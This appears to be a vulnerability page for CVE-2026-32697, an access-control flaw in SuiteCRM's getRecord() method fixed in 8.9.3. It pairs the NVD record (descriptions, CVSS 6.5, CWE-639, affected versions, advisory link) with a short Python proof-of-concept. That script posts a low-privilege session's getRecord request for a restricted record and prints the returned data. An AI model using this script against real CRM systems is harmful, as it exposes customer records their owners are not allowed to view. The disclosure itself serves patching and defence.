CVE-2026-32697

import requests # Target configuration target_url = "http://example-suitecrm.com/index.php" low_priv_session = "valid_low_priv_session_cookie" # Headers simulating an authenticated low-priv user headers = { "Cookie": f"PHPSESSID={low_priv_session}", "Content-Type": "application/json" } # Payload calling the vulnerable getRecord method # This attempts to access a restricted record without proper view permission payload = { "method": "getRecord", "module": "Accounts", # Target module, e.g., Accounts "id": "target_record_id_here" # ID of the restricted record } print("[+] Attempting to exploit CVE-2026-32697...") response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Request successful! Data retrieved:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}")

{"cve": {"id": "CVE-2026-32697", "sourceIdentifier": "[email protected]", "published": "2026-03-20T00:16:16.600", "lastModified": "2026-03-23T16:42:53.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 8.9.3, the `RecordHandler::getRecord()` method retrieves any record by module and ID without checking the current user's ACL view permission. The companion `saveRecord()` method correctly checks `$bean->ACLAccess('save')`, but `getRecord()` skips the equivalent `ACLAccess('view')` check. Version 8.9.3 patches the issue."}, {"lang": "es", "value": "SuiteCRM es una aplicación de software de gestión de relaciones con los clientes (CRM) de código abierto y preparada para uso empresarial. Antes de la versión 8.9.3, el método `RecordHandler::getRecord()` recuperaba cualquier registro por módulo e ID sin comprobar el permiso de visualización de la lista de controles de acceso (ACL) del usuario actual. El método complementario `saveRecord()` comprueba correctamente `$bean->ACLAccess(“save”)`, pero `getRecord()` omite la comprobación equivalente `ACLAccess(“view”)`. La versión 8.9.3 corrige este problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:suitecrm:suitecrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.9.3", "matchCriteriaId": "CD824E64-58E0-472C-84CB-6729B4B791DF"}]}]}], "references": [{"url": "https://github.com/SuiteCRM/SuiteCRM-Core/security/advisories/GHSA-9p9g-224x-6rmm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}